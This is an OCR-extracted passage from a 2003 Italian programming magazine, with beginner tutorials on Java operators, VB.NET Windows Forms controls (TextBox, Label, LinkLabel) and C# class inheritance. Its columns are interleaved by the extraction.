tore di “modulo” non ti sia familiare. Il modulo variabile per conservare temporaneamente il

Java
è il resto della divisione intera. Torna con la valore che non vuoi perdere:
mente alle scuole elementari. Hai presente
quando dicevi ad esempio che 13 diviso 2 fa 5 class Swap
col resto di 3? Ecco, il modulo è proprio il valo- {
re di quel “resto”. public static void main(String[] args)
Ad esempio: 44 % 3 è uguale a 2 (“44 gatti divi- {
so per 3 col resto di 2”). L’operatore modulo è int x = 10;
molto più utile di quello che si potrebbe pensa- int y = 20;
re. Se provi a far girare questo programma ot-
tieni: // facciamo lo swap!
int temp = x;
9 x = y;
5 y = temp;
14 // fine dello swap
3
1 [Link]("La variabile x vale " + x);
[Link]("La variabile y vale " + y);
Tutti i valori sono come ce li aspettavamo, tran- }
ne forse il risultato della divisione. Probabil- }
mente pensavi che dividendo 7 per due avrem-
mo ottenuto 3.5. Ho aggiunto anche qualche commento e un
Dov’è finita la parte decimale del risultato? paio di a-capo per rendere più chiaro il codice.
Resta dove sei La soluzione del mistero sta nel fatto che sia x Troverai questo programmino sul CD, insieme
Esiste anche un
che y sono variabili intere. Per Java la divisione al resto del codice di questo mese.
metodo simile a
[Link](), tra due interi è appunto una divisione intera, Al mese prossimo, dunque, quando approfon-
che però non va a capo cioè una divisione nella quale il risultato deve diremo un po’ questa faccenda dei tipi e degli
dopo aver stampato. Si essere intero. Quindi il sistema costringe il ri- operatori.
chiama [Link].
sultato a “diventare intero”, tagliando via senza Paolo Perrotta
print().
A proposito, non ti stu- tanti complimenti la parte decimale. Non la ar-
pire se l’istruzione per rotonda, la butta proprio via! Il risultato di 19
stampare ha un nome
Con e senza gli oggetti
(intero) diviso 10 (intero) è 1, non 2.
così lungo. Quando sa- Java è un linguaggio di programmazione
Se vuoi una divisione decimale, allora almeno
rai un po’ più esperto “orientato agli oggetti”. Cosa significa?
potrai facilmente scri- una delle due variabili deve avere un tipo deci- I linguaggi di programmazione più vecchiotti,
verti una procedura di male, come ad esempio double (decimale a dop- come il BASIC o il C, usavano il cosiddetto pa-
stampa con un nome pia precisione). radigma procedurale. Secondo questa filoso-
più breve. fia, un programma è un insieme di funzioni
che manipolano un insieme di dati. Questo
• Esercizio 6: Prova a cambiare le dichiarazio- modo di ragionare diventa inadeguato quando
ni delle due variabili: usa il tipo double (de- i programmi diventano troppo grandi e com-
cimale a doppia precisione) anziché int. Co- plessi. Per questo motivo alla fine degli anni
’80 cominciarono a diffondersi i linguaggi
sa cambia nei risultati del programma Ope-
object-oriented, che concepivano il software
ratori? come un insieme di oggetti che si scambiano
messaggi.
Come vedi, il tipo delle variabili è una caratte- Se non hai mai programmato prima d’ora, non
preoccuparti della differenza tra paradigma
ristica assolutamente essenziale. Vedrai che ne
procedurale e paradigma a oggetti. Imparerai
riparleremo spesso. Quanti tipi esistono nel lin- direttamente a programmare con gli oggetti,
guaggio Java? In un certo senso, infiniti. In Java, che sembrano molto più “naturali” ai princi-
come in tutti i linguaggi “orientati agli oggetti” pianti che agli esperti di programmazione
procedurale. Se invece hai esperienza di lin-
(vedi box), puoi creare da te i tuoi tipi. Ma per guaggi di script o di linguaggi procedurali, al-
ora ci interessano solo alcuni tipi particolar- lora dovrai fare un po’ di fatica in più per cam-
mente importanti che il linguaggio ci mette a biare il tuo modo di ragionare. Ma non preoc-
disposizione. Abbiamo già incontrato int (per cuparti: ci siamo passati quasi tutti. In questo
corso cercheremo di introdurre la program-
gli interi) e double (per i decimali). È quasi giun- mazione a oggetti nel modo più indolore pos-
to il momento di darci appuntamento all’artico- sibile.
lo del mese venturo, quando incontreremo altri

86 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 4-06-2003 17:28 Pagina 87

E E E E E E E E E E E E E C o r s i B a s e

✓ Struttura dell’ambiente di sviluppo


Controlli standard Visual Basic

.NET
Windows Forms
I controlli standard Windows Forms sono i controlli
presenti nella casella degli strumenti (Toolbox) quando
si avvia un progetto [Link]. In questo primo articolo
ci occuperemo della loro descrizione.

Q uando si avvia per la prima volta un


progetto [Link], nella casella degli
strumenti viene mostrato un elenco dei
controlli contenuti nella libreria [Link]-
sua posizione. L'ancoraggio di un controllo
ad un contenitore padre, permette di conser-
vare i bordi ancorati nella stessa posizione
relativa ai bordi del contenitore padre, quan-
[Link] che include i controlli (46) solita- do quest'ultimo viene ridimensionato. Per
mente più utilizzati nelle applicazioni Window impostarla, si deve cliccare sulla freccia
Forms. In [Link] è inoltre possibile utilizzare visualizzata a destra di tale proprietà: com-
una serie di componenti COM aggiuntivi dalla parirà una piccola finestra in cui selezionare,
finestra di dialogo Personalizza Casella degli stru- con un clic del mouse, i bordi della finestra
menti. cui si vuole ancorare il controllo; Testo tipo
Selezionando la voce di menu Strumenti/ Per- password
Per impostare un
sonalizza Casella degli strumenti, viene mostrata la • Dock: indica i bordi del controllo che do-
TextBox come un
finestra di dialogo che visualizza un elenco di vranno essere ancorati alla form (o un gene- campo password, sen-
tutti i componenti COM registrati nel computer, rico controllo contenitore). A differenza del- za visualizzare il testo
da cui è possibile rimuovere o aggiungere con- la proprietà precedente, le dimensioni del immesso, si può utiliz-
zare la proprietà Pass-
trolli dall’elenco visualizzato nella Casella degli controllo variano in conformità a quelle del- wordChar digitando il
strumenti. In questo articolo descriveremo i con- la form poiché dovranno coincidere con il carattere di maschera-
trolli TextBox, Label e LinkLabel dopo aver ana- bordo selezionato, mentre la posizione rima- mento, tipicamente un
lizzato le proprietà comuni a tutti i controlli. ne invariata. Il valore di default è None, nes- asterisco. In questo
modo invece di visua-
sun ancoraggio; lizzare i caratteri verrà
visualizzato un asteri-
PROPRIETÀ COMUNI • Location: permette di impostare (o di rica- sco per ogni carattere
digitato. Prestate at-
Giacché tutti i controlli ereditano la maggior vare) le coordinate X e Y dell'angolo supe-
tenzione che la pro-
parte delle proprie funzionalità dalla classe riore sinistro del controllo in relazione, prietà MultiLine sia
[Link]. [Link], essi espongono all'angolo superiore sinistro della form (o False in caso contrario
proprietà simili, vediamone alcune: del controllo contenitore). Corrisponde alle VB non maschera i ca-
ratteri digitati.
proprietà Left e Top delle versioni precedenti
LAYOUT (Dimensioni e posizione) di VB.

• Anchor: indica se il controllo verrà ancorato • Size: imposta (o ricava) l'altezza e la lar-
alla form selezionando il bordo del contenito- ghezza del controllo espressa in pixel. Corri-
re dal quale il controllo mantiene una distan- sponde alle proprietà Width e Height delle
za fissa. Un controllo può essere ancorato ad versioni precedenti di VB.
uno o più bordi del contenitore padre, il valo-
re predefinito è Top, Left (in alto a sinistra). In ASPETTO
pratica, l'oggetto non viene adattato alle
dimensioni della finestra, ma resta fisso nella • BackColor: ottiene o imposta il colore di

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 87
087-091 VB net 31-05-2003 10:23 Pagina 88

C o r s i B a s e G G G G G G G G G G G G G

sfondo del controllo; ACCESSIBILITÀ

• ForeColor: ottiene o imposta il colore di • AccessibleName: ottiene o imposta il nome


primo piano del controllo; del controllo utilizzato dalle applicazioni
client con accesso facilitato. Il valore predefi-
• Font: ottiene o imposta il tipo di carattere nito è Null (Nothing). In pratica, la proprietà
Visual Basic del testo visualizzato dal controllo; AccessibleName è costituita da un'etichetta

.NET • Text: ottiene o imposta il testo associato al


che descrive brevemente e identifica l'ogget-
to all'interno del relativo contenitore;
controllo. VB 6 effettua una distinzione tra il
testo che un controllo visualizza e quello che • AccessibleDescription: Ottiene o imposta la
l'utente finale può modificare, nel primo descrizione del controllo utilizzato dalle
caso utilizza la proprietà Caption, mentre per applicazioni client con accesso facilitato. Il
Componente il secondo la proprietà Text. In [Link] tale valore predefinito è Null (Nothing). In prati-
COM distinzione non esiste più, tutti i controlli ca, la proprietà AccessibleDescription fornisce
La scheda Com-
ponenti COM del- sono in grado di visualizzare una stringa di una descrizione testuale dell'aspetto visivo
la finestra Personaliz- caratteri ed espongono l'unica proprietà di un oggetto.
za casella degli stru- Text. La descrizione è utilizzata principalmente
menti visualizza le se-
guenti colonne di in-
per fornire un condizione più ampia agli
formazioni: COMPORTAMENTO utenti non vedenti o con problemi di ridu-
zione della capacità visiva, ma può essere
• Nome - Consente di • Enabled: ottiene o imposta un valore che utilizzata anche per la ricerca del contesto o
visualizzare i nomi dei
componenti COM dis-
indica se il controllo può rispondere all'inte- per altre applicazioni;
ponibili. Ciascun nome razione dell'utente. Il valore è true (per de-
è preceduto da una fault) se il controllo può rispondere all'inte- • AccessibleRole: ottiene o imposta il ruolo
casella di controllo. Se
razione dell'utente; in caso contrario assume accessibile del controllo. La proprietà Acces-
la casella di controllo è
selezionata allora il il valore false. La proprietà Enabled consente sibleRole descrive il tipo di elemento dell'in-
componente è già vi- l'attivazione o la disattivazione dei controlli terfaccia utente rappresentato da un oggetto.
sualizzato nella Casel- in fase di esecuzione. Se non è possibile determinare il ruolo del
la degli strumenti op-
Un controllo può essere disattivato per limi- controllo, la proprietà AccessibleRole è impo-
pure verrà aggiunto
cliccando su OK. Se la tarne l'utilizzo; stata su AccessibleRole.
casella di controllo non
è selezionata, il com- • TabIndex: ottiene o imposta l'ordine di tabu- PROGETTAZIONE
ponente non è attual-
lazione del controllo all'interno del relativo
mente visualizzato
nella Casella degli controllo contenitore (compresa la form).Un • Name: ottiene o imposta il nome del con-
strumenti oppure ver- indice di tabulazione può essere composto trollo;
rà rimosso dalla Casel- da numeri interi validi, maggiori di o uguali
la degli strumenti fa-
cendo clic su OK.
a zero, con i numeri più bassi situati nelle • Locked: determina se è possibile spostare o
prime posizioni dell'ordine di tabulazione. ridimensionare il controllo;
• Percorso - Visualizza Per includere un controllo nell'ordine di
il percorso completo tabulazione si deve impostare la relativa • Modifiers: indica il livello di visibilità del-
del componente COM.
I componenti forniti
proprietà TabStop a true; l’oggetto.
con [Link] sono me-
morizzati nel percorso • TabStop: ottiene o imposta un valore che
di installazione di Vi-
sual Studio.
indica se l'utente è in grado di attivare il con- IL CONTROLLO TEXTBOX
trollo utilizzando il tasto TAB. Il valore è true I controlli TextBox sono i controlli ideali per of-
• Libreria - Consente di (default) se l'utente è in grado di attivare il frire all’utente la possibilità di visualizzare,
visualizzare il nome controllo utilizzando il tasto TAB; in caso modificare o immettere informazioni. Per dise-
della libreria che com-
contrario assume il valore false. gnare un controllo TextBox, ed in genere qual-
prende il componente
COM. Quando l'utente preme il tasto TAB, lo stato siasi controllo, su una form si deve:
attivo per l'input passa al successivo control-
• Ultima modifica - lo, nell'ordine di tabulazione, che abbia il • Visualizzare la casella degli strumenti (Tool-
Consente di visualizza-
valore della proprietà TabStop impostato a box);
re la data dell'ultima
modifica prodotta al true.
componente COM. • Cliccare sull’icona TextBox (casella di testo)
• Visible: ottiene o imposta un valore che nella casella degli strumenti;
indica se il controllo è visualizzato. Il valore
è true (default) se il controllo è visualizzato, • Posizionarsi con il mouse sulla form, nel
in caso contrario assume il valore false. punto in cui si vuole inserire il TextBox, e

88 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 31-05-2003 10:24 Pagina 89

E E E E E E E E E E E E E C o r s i B a s e

cliccare con il pulsante sinistro del mouse; • Forecolor; per impostare il colore del testo
contenuto nel Textbox.
• Tenere premuto il pulsante sinistro del
mouse, disegnare il controllo e rilasciare il Cliccando nella finestra delle proprietà su
mouse. Backcolor e Forecolor sarà visualizzata una tavo-
lozza di colori da cui scegliere il colore deside-
Visual Basic

.NET
rato. Prestate attenzione a non abusare dei colo-
ri e cercate di utilizzare un colore diverso da
quelli standard, soltanto se siete “costretti”.

ALLINEAMENTO E TIPO
DI CARATTERE DEL TESTO
Per modificare le modalità di visualizzazione
Fig. 1: Un form con controlli TextBox. del testo contenuto nel TextBox si possono usare
le proprietà:

Per default VB visualizza nei Textbox il nome • TextAlign; per stabilire il tipo d’allineamen-
del Textbox stesso, perciò nel primo Textbox to del testo, i valori selezionabili sono:
sarà visualizzato il testo “TextBox1”, per modifi-
carne il contenuto è sufficiente utilizzare la pro- 1) Left: allineamento a sinistra;
prietà Text. La proprietà Text può contenere
qualsiasi serie di caratteri, compresa la stringa 2) Right: allineamento a destra;
vuota. Per modificare la proprietà Text si può:
visualizzare la finestra delle proprietà del 3) Center: testo centrato.
TextBox, cliccare nel campo a destra dell’etichet-
ta Text e digitare il testo voluto, oppure si può • Font; per modificare il tipo di carattere, il
Text
modificare il testo da programma con la sempli- valore di default è Microsoft Sans Serif. Clic- La proprietà
ce istruzione: cando nella finestra delle proprietà viene vi- Text può conte-
sualizzata una finestra di dialogo standard, nere qualsiasi serie
di caratteri, compre-
[Link] = "PrimoTesto" quest’ultima permette di selezionare: il tipo
sa la stringa vuota.
di carattere tra quelli installati sul vostro Per modificare la
A questo punto possiamo sbizzarrirci nel modi- computer, la dimensione del carattere, lo sti- proprietà Text si può:
ficare graficamente l’aspetto esterno ed interno le (grassetto, corsivo, ecc.) e gli effetti (bar- visualizzare la fine-
stra delle proprietà
del controllo. Descriveremo rapidamente le pro- rato, sottolineato).
del TextBox, cliccare
prietà necessarie lasciandovi il compito di pro- nel campo a destra
varle a vostro piacere. Se impostate la proprietà Autosize a True, le di- dell’etichetta Text e
mensioni del TextBox si adatteranno a quelle digitare il testo volu-
to, oppure si può
del font selezionato. modificare il testo da
ASPETTO DEL TEXTBOX programma con la
Per modificare l’aspetto esterno del TextBox si semplice istruzione:
possono usare le proprietà: TEXTBOX MULTIRIGA
E LIMITAZIONE DELLA [Link] =
"PrimoTesto"
• BorderStyle; che permette di impostare il LUNGHEZZA DEL TESTO
tipo di bordo del controllo. Può assumere i Per default, una casella di testo non permette di
seguenti valori: andare a capo, ma il testo viene visualizzato su
un'unica riga che scorre verso sinistra nel
1) Fixed3D: (valore di default) permette di momento in cui viene raggiunto il margine del
disegnare il Textbox con il bordo tridi- controllo. Per creare un Textbox che assomigli
mensionale; ad una classica finestra di elaborazione testi, è
sufficiente impostare la proprietà MultiLine a
2) FixedSingle: permette di disegnare il True, la proprietà ScrollBars a Both e la proprietà
Textbox con il bordo a riga singola; WordWrap a False. In questo modo il controllo
sarà dotato di barre di scorrimento orizzontali
3) None: non disegna nessun bordo attorno e verticali, che permettono di scorrere il Text-
al Textbox. Box, in modo da visualizzare un testo più lungo
rispetto alle dimensioni del controllo. In [Link]
• Backcolor; per impostare il colore di sfondo è presente la proprietà WordWrap che indica se
della casella di testo; mandare automaticamente a capo le parole all'i-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 89
087-091 VB net 31-05-2003 10:25 Pagina 90

C o r s i B a s e G G G G G G G G G G G G G

nizio della riga successiva quando si raggiunge testo contenuto nel controllo. In [Link] il con-
il limite. Ponendo la proprietà ScrollBars a Ver- trollo Label è in grado di mostrare un’immagine
tical sarà visualizzata soltanto la barra verticale, utilizzando la nuova proprietà Image, è suffi-
in questo modo il testo digitato viene mandato ciente cliccare sulla proprietà e selezionare
automaticamente a capo nel momento in cui un’immagine dalla finestra di dialogo. Per con-
diventa più lungo del controllo. trollare la posizione dell’immagine all’interno
Visual Basic dell’etichetta si può usare la proprietà Image-

.NET Align con nove diversi tipi di allineamento pos-


sibile. Sono disponibili numerose proprietà per
modificare l’aspetto dell’etichetta, perciò saran-
no disponibili le proprietà TextAlign (con nove
possibili valori), Font, BackColor, ForeColor ecc.
La proprietà AutoSize può essere usata per far sì
che il controllo si ridimensioni automaticamen-
Fig. 2: Il controllo LinkLabel in azione.
te adattandosi alla lunghezza della stringa, in
questo modo, se il testo contenuto nella Label è
particolarmente lungo, oppure se ne viene fatta
Con la proprietà ScrollBars = Both la funzione di variare la lunghezza da programma, si può evi-
ritorno a capo automatico viene disabilitata, tare che venga troncato dal bordo destro della
ragion per cui per passare alla riga successiva si Label. Naturalmente si deve prestare attenzione
deve premere il tasto Invio. Naturalmente le che le etichette non eccedano in lunghezza
barre di scorrimento sono visualizzate soltanto coprendo i controlli dell’interfaccia utente.
se la proprietà MultiLine è impostata a True. In
[Link] sono state introdotte due nuove pro-
prietà per la gestione delle caselle di testo mul- IL CONTROLLO LINKLABEL
tiriga che risolvono alcune problematiche pre- Il controllo LinkLabel è simile ad un‘etichetta,
senti in VB6: quando si utilizza un normale ela- con la differenza che è in grado di visualizzare
boratore di testo si usano con indifferenza i tasti un collegamento ipertestuale. Nel testo del con-
INVIO e TAB, rispettivamente per andare a capo trollo è possibile specificare una o più aree di
e per inserire un carattere di tabulazione, ma in collegamento ipertestuale ed ogni area può ese-
VB non è sempre possibile, in particolare: se guire un'attività diversa all'interno dell’applica-
nella form è presente un pulsante predefinito, zione. In fase di progettazione si può definire
premendo il tasto INVIO non si avrà il ritorno al un’area di collegamento modificando la pro-
capo ma l’azione del clic sul pulsante; inoltre, prietà LinkArea. Cliccando sul pulsante con i tre
premendo il tasto Tab si ha sempre l’effetto di puntini si apre la finestra Editor LinkArea in cui
LinkLabel far passare il focus al controllo successivo pre- si può selezionare la porzione di testo da tra-
Il controllo Link-
Label è simile ad sente nella form (così come impone lo standard sformare in collegamento. Nel caso si voglia
un‘etichetta, con la Windows). Per evitare questo comportamento è definire più di un’area di collegamento si deve
differenza che è in sufficiente assegnare il valore True alle proprie- agire, necessariamente, da codice aggiungendo
grado di visualizzare
tà AcceptReturns e AcceptTabs. Per limitare la ogni area alla collezione Links, con l’ormai noto
un collegamento iper-
testuale. lunghezza del testo si può usare la proprietà metodo Add:
MaxLenght in cui specificare il numero massimo
di caratteri che possono essere immessi nel [Link] = "I Corsi di ioProgrammo"
TextBox. Quando l’utente tenta di digitare dei [Link](2, 5, "Corsi")
caratteri oltre il limite imposto da MaxLenght, [Link](11, 11, "ioProgrammo")
viene emesso un bip e non viene più accettato
nessun altro carattere. Il valore predefinito di Gli argomenti del metodo Add sono: la posizio-
MaxLenght è pari a 32767. ne iniziale, la lunghezza del link ed una stringa
che identifica il collegamento. La stringa può
essere utilizzata per identificare il collegamento
IL CONTROLLO LABEL tramite l’oggetto LinkLabel .Link. Il codice da
Il controllo Label (etichetta) è solitamente utiliz- eseguire, quando l’utente seleziona un’area di
zato per rendere più esplicativa l’interfaccia, ad collegamento ipertestuale, solitamente deve es-
esempio come didascalia di una casella di testo, sere scritto nell’evento LinkClicked. L’evento
e raramente viene usato come oggetto program- LinkClicked riceve l'argomento che rappresenta
mabile. Così come il TextBox, le Label possono un'istanza della classe LinkLabelLinkClicked-
visualizzare un testo sullo schermo (specificato EventArgs che contiene un oggetto LinkLabel
nella proprietà Text), la differenza sostanziale .Link associato al collegamento selezionato. Uti-
sta nel fatto che l’utente non può modificare il lizzando le informazioni specificate nella pro-

90 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
087-091 VB net 31-05-2003 10:26 Pagina 91

E E E E E E E E E E E E E C o r s i B a s e

Breve descrizione di alcuni


controlli Windows Form
• PUNTATORE non è un controllo ma permette la
selezione di un controllo già disegnato nel
form.
• LABEL viene usato per visualizzare testo che Visual Basic

.NET
non deve essere modificato dall’utente. In
genere è utilizzato per etichettare i controlli.
• LINKLABEL (non era presente in VB6) Consen-
te di inserire un collegamento ipertestuale in
una Windows Form. Funziona esattamente co-
me un normale collegamento ipertestuale (ti-
pico del web) verso altre parti dell'applicazio-
ne o URL in Internet.
• BUTTON (sostituisce il controllo Button in
VB6) è il controllo a forma di pulsante cui
spesso si associa del codice nell’evento Click.
• TEXTBOX è sicuramente il controllo più usato
poiché consente all’utente di fornire l’input
all’applicazione. Contiene una stringa di carat-
teri che l’utente può immettere o modificare.
• CHECKBOX Si utilizza per dare all’utente la Proprietà
possibilità di una scelta del tipo si/no oppure
LinkLabel
vero/falso.
Il controllo Link-
• RADIOBUTTON (sostituisce il controllo Option- Label: presenta
Button in VB6) è spesso utilizzato in gruppo diverse proprietà che
con altri RadioButton. A differenza del Check- consentono di definire
Box, sarà possibile selezionare soltanto un Ra- l'aspetto che il colle-
dioButton per volta. gamento ipertestuale
• GROUPBOX (sostituisce il controllo Frame in deve assumere duran-
VB6) viene usato, solitamente, come conteni- te la visualizzazione:
tore di altri controlli.
• PICTUREBOX viene usato per visualizzare • ACTIVELINKCOLOR:
Fig. 3: La casella degli strumenti. immagini. determina il colore
• LISTBOX contiene una serie di valori selezio- che assume il collega-
nabili dall’utente. mento quando l’uten-
• COMBOBOX in pratica è una combinazione del te clicca su di esso;
TextBox e del ListBox, infatti, cliccando sulla
prietà LinkData della classe LinkLabel. Il codice freccia rivolta verso il basso appare la lista dei • DISABLEDLINKCO-
seguente testa la proprietà LinkData in un’istru- valori selezionabili. LOR: determina il co-
zione Select Case…End Select e visualizza un lore che assume il col-
legamento quando
messaggio diverso in relazione al link selezio- non è attivo;
nato: • DisabledLinkColor: determina il colore che
assume il collegamento quando non è attivo; • LINKCOLOR deter-
Private Sub LinkLabel1_LinkClicked(ByVal sender As mina il colore predefi-
nito del collegamento;
[Link], ByVal e As • LinkColor determina il colore predefinito
[Link]) del collegamento; • VISITEDLINKCO-
Handles [Link] LOR: determina il co-
lore che assume il col-
Select Case [Link] • VisitedLinkColor: determina il colore che
legamento nello stato
Case "Corsi" assume il collegamento nello stato di “visita- di “visitato”.
[Link]("hai selezionato il Link Corsi ") to”. Quest’effetto si ottiene impostando la Quest’effetto si ottie-
Case "ioProgrammo" proprietà LinkVisited a True; ne impostando la pro-
prietà LinkVisited a
[Link]("hai selezionato il Link
True;
ioProgrammo ") • LinkBehavoir determina la modalità di vi-
End Select sualizzazione della sottolineatura. • LINKBEHAVOIR de-
End Sub termina la modalità di
visualizzazione della
sottolineatura.
Il controllo LinkLabel: presenta diverse proprietà CONCLUSIONI
che consentono di definire l'aspetto che il colle- In questo articolo ci siamo occupati dei control-
gamento ipertestuale deve assumere durante la li che consentono l’interazione con l’utente per
visualizzazione: quanto concerne l’immissione e la visualizza-
zione di informazioni. Nei prossimi appunta-
• ActiveLinkColor: determina il colore che menti continueremo il viaggio all’interno dei
assume il collegamento quando l’utente clic- controlli di [Link].
ca su di esso; Ing. Luigi Buono

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 91
092-095 C# 4-06-2003 11:02 Pagina 92

C o r s i B a s e G G G G G G G G G G G

✓ L’ereditarietà nella programmazione orientata agli oggetti


C# La gerarchia delle
classi e degli oggetti
La programmazione orientata agli oggetti riconosce
tre principi di base: l'incapsulazione, il polimorfismo
e l'ereditarietà. Con questa lezione cominceremo l'analisi
dell'ereditarietà in C#, scoprendo come sia possibile
allacciare relazioni di tipo gerarchico tra due o più classi.

File sul CD

L’
ereditarietà è tra i concetti più impor- public string getCognome()
\soft\codice\[Link] tanti della programmazione orientata {
agli oggetti. return cognome;
Attraverso l'ereditarietà, è possibile raggrup- }
File sul Web pare le classi e gli oggetti secondo un'organiz-
[Link]
/ioprog71/[Link] zazione di tipo gerarchico. Questo approccio, }
come scopriremo tra poco, facilita la stesura
delle applicazioni, deponendo a favore della Persona non presenta alcuna caratteristica pe-
riusabilità del codice. culiare. Possiede giusto quattro metodi, utili
per impostare e recuperare i campi nome e co-
gnome.
PRIMO APPROCCIO Nella rappresentazione usata, queste due pro-
ALL'EREDITARIETA' prietà realizzano l'astrazione di un qualsiasi
Avviciniamoci all'ereditarietà mediante un pri- essere umano. Ovviamente, la rappresentazio-
mo esempio pratico. Partiamo dalla definizio- ne è volutamente generica.
ne della semplice classe Persona: Prendiamo ora in esame la classe Studente, che
Ereditarietà eredita da Persona:
L’ereditarietà è tra
i concetti più im- class Persona
portanti della program- { class Studente : Persona
mazione orientata agli public string nome; {
oggetti.
public string cognome; public string matricola;
Attraverso l'ereditarie-
tà, è possibile raggrup-
pare le classi e gli og- public void setNome(string nome) public void setMatricola(string matricola)
getti secondo un'orga- { {
nizzazione di tipo ge-
[Link] = nome; [Link] = matricola;
rarchico.
} }

public void setCognome(string cognome) public string getMatricola()


{ {
[Link] = cognome; return matricola;
} }

public string getNome() }


{
return nome; Prima di entrare nei dettagli di quanto abbia-
} mo realizzato, eseguiamo un test dimostrativo:

92 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
092-095 C# 31-05-2003 10:39 Pagina 93

E E E E E E E E E E E C o r s i B a s e

class Test class Test


{ {
public static void Main() public static void Main()
{ {
Studente s = new Studente(); Studente s = new Studente();

C#
[Link]("Mario"); [Link]("Mario");
[Link]("Rossi"); [Link]("Rossi");
[Link]("09204167"); [Link]("09204167");
[Link]("Nome: " [Link]("Nome: " +
+ [Link]()); [Link]());
[Link]("Cognome: " + [Link]("Cognome: " +
[Link]()); [Link]());
[Link]("Matricola: " + [Link]("Matricola: " +
[Link]()); [Link]());
} [Link]("ToString(): " +
} [Link]());
}
L'output prodotto é:
}
Nome: Mario
Cognome: Rossi Prima della chiusura del metodo Main(), è stata
Matricola: 09204167 aggiunta una nuova istruzione:

Cosa c'è di particolare in questo esempio? Per [Link]("ToString(): " + [Link]());


come è stata definita, la classe Studente non con-
tiene né il campo nome, né il campo cognome, né Mandando in esecuzione il software, si ottiene
i metodi utili per lavorare con queste due pro- un output analogo al seguente: Estendere
prietà. A prima vista, sembrerebbe che ciascuno una classe
studente venga rappresentato solo ed esclusi- Nome: Mario In C#, ogni classe
che non estende
vamente attraverso la sua matricola. La pratica, Cognome: Rossi
esplicitamente un'altra
però, smentisce queste superficiali osservazio- Matricola: 09204167 classe, come Studente,
ni. ToString(): Studente eredita direttamente
Abbiamo dato nome e cognome ad un oggetto ed implicitamente dalla
classe object, definita
Studente, senza incappare in errori di compila- Da dove è saltato fuori il metodo ToString()? La
nella libreria base della
zione o di esecuzione. classe Studente non definisce nulla di simile. piattaforma .NET.
Ovviamente, ciò avviene in virtù dell'eredita- Non si può neanche immediatamente dire che il
rietà. In particolare, siamo riusciti a realizzare metodo sia stato ereditato da Persona, perché
quanto visto, grazie alla dichiarazione: anche qui non esiste alcuna definizione che ri-
specchi le aspettative. Emerge, così, una carat-
class Studente : Persona teristica finora taciuta: in C#, ogni classe che
{ non estende esplicitamente un'altra classe, co-
// ... me Studente, eredita direttamente ed implicita-
} mente dalla classe object, definita nella libreria
base della piattaforma .NET.
La classe Studente ha ereditato le proprietà ed i In pratica, scrivere
metodi della classe Persona. Quindi, ogni stu-
dente istanziato avrà un campo matricola, la cui class MiaClasse
definizione è data normalmente nel corpo della {
classe Studente, ma avrà anche dei campi nome e // ...
cognome, che derivano da Persona. }
Impariamo un po' di utile terminologia. In un
caso come quello appena esaminato, si dice che è proprio come digitare
Persona è superclasse di Studente, e che Studente
è sottoclasse di Persona. Più in breve, si può di- class MiaClasse : object
re che Studente estende Persona. La classe Stu- {
dente deriva da Persona, cioè gli oggetti di tipo // ...
Studente ereditano tutte le caratteristiche degli }
oggetti di tipo Persona.
Sperimentiamo ora un secondo test: Quindi, tornando all'esempio di Persona e Stu-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 93
092-095 C# 31-05-2003 10:39 Pagina 94

C o r s i B a s e G G G G G G G G G G G

dente, abbiamo implementato una gerarchia co- [Link]());


sì strutturata: }

object }

C#
|
+- Persona Il risultato prodotto è facilmente intuibile:
|
+- Studente Nome: Mario
Cognome: Rossi
Studente estende Persona, che a sua volta esten- Matricola: 09204167
de Object. Il mistero è ora un po' meno fitto: To- Ingegneria Informatica
String() è un metodo definito da object. Persona
lo ha ereditato da object, e Studente l'ha eredita- La gerarchia implementata è così rappresenta-
to da Persona. Grazie alla gerarchia messa in at- bile:
to, il metodo ToString() è arrivato da object a
Studente. Sulle caratteristiche della classe object object
torneremo più avanti. |
Nulla impedisce di derivare ulteriormente una +- Persona
sottoclasse, facendola divenire superclasse di |
un nuovo elemento. In questo modo è possibile +- Studente
realizzare gerarchie a più livelli. |
Ad esempio, riprendiamo la classe Studente, +- StudenteIngegneria
estendendola nella seguente StudenteIngegne-
ria: Un oggetto di tipo StudenteIngegneria ha:

class StudenteIngegneria : Studente 1. Il campo tipo, ed i metodi ad esso associati.


Derivazioni
{
multiple
Nulla impedisce di public string tipo; 2. Il campo matricola ed i metodi ad esso asso-
derivare ulterior- ciati, poiché li eredita da Studente.
mente una sottoclasse, public void setTipo(string tipo)
facendola divenire su-
{ 3. I campi nome e cognome, con i metodi ad essi
perclasse di un nuovo
elemento. In questo [Link] = tipo; associati, poiché li eredita da Studente che li
modo è possibile rea- } ha ereditati da Persona.
lizzare gerarchie a più
livelli.
public string getTipo() 4. Tutti i campi ed i metodi di object, che gli so-
{ no arrivati percorrendo l'intera gerarchia
return tipo; delle classi.
}
Ogni classe può avere avere infiniti figli. Quin-
} di, è sempre possibile uno schema come il se-
guente:
Ecco un veloce test per la verifica:
object
class Test |
{ +- Persona
public static void Main() ||
{ Operaio -+ +- Studente
StudenteIngegneria s = new StudenteIngegneria();
[Link]("Mario"); In questo caso, non c'è rapporto diretto tra Ope-
[Link]("Rossi"); raio e Studente, se non nel fatto che ambo le clas-
[Link]("09204167"); si derivano da Persona. Quindi, Operaio avrà tut-
[Link]("Informatica"); te le caratteristiche di Persona, così come le avrà
[Link]("Nome: " + Studente.
[Link]()); I nuovi campi campi definiti da Operaio, ad ogni
[Link]("Cognome: " + modo, non saranno condivisi da Studente, e vi-
[Link]()); ceversa.
[Link]("Matricola: " + Insomma, in questo punto la gerarchia si divide
[Link]()); in più rami indipendenti. Le classi, procedendo
[Link]("Ingegneria " + avanti in un albero di questo tipo, saranno pa-

94 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
092-095 C# 31-05-2003 10:39 Pagina 95

E E E E E E E E E E E C o r s i B a s e

renti sempre più alla lontana. Una classe può {


